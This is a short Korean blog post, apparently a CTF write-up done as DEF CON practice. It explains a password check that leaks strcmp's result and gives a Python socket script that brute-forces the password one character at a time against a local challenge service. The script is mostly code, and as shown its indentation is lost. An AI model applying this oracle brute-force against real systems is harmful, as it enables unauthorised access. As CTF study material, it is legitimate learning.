데프콘 준비겸 작년도꺼 문제들 풀어보는중..

취약점은 password를 입력받는과정에서 strcmp의 리턴값을 저장할 수 있는 변수를 릭함으로써 password를 알아낼수 있다는것!


#!/usr/bin/python


from pwn import *

from socket import *



string = ""


s = socket(AF_INET, SOCK_STREAM)

s.connect(("localhost", 31335))

print recvUntil(s, "$")


for i in range(32):

for j in range(0x80, 0x20, -1):

tmp = chr(j)


s.send("enable\n")

print s.recv(1024)

payload = ""

payload += string+tmp

payload += "\x20"*(26-(i+1))


s.send(payload+"\n")

if chr(0xff) not in s.recv(1024):

string += chr(j)

break


print "Key is : "+string


'General News > Write-Ups' 카테고리의 다른 글

[ConfidenceCTF-teaser]Power level  (0) 2015.04.28
[ConfidenceCTF-teaser]Apache Underwear  (0) 2015.04.28
[ConfidenceCTF-teaser]Pratical-Numerology  (0) 2015.04.28
HackIM nullcon exploitation400  (0) 2015.01.11
HackIM nullcon exploitation300  (0) 2015.01.11
Posted by xer0s :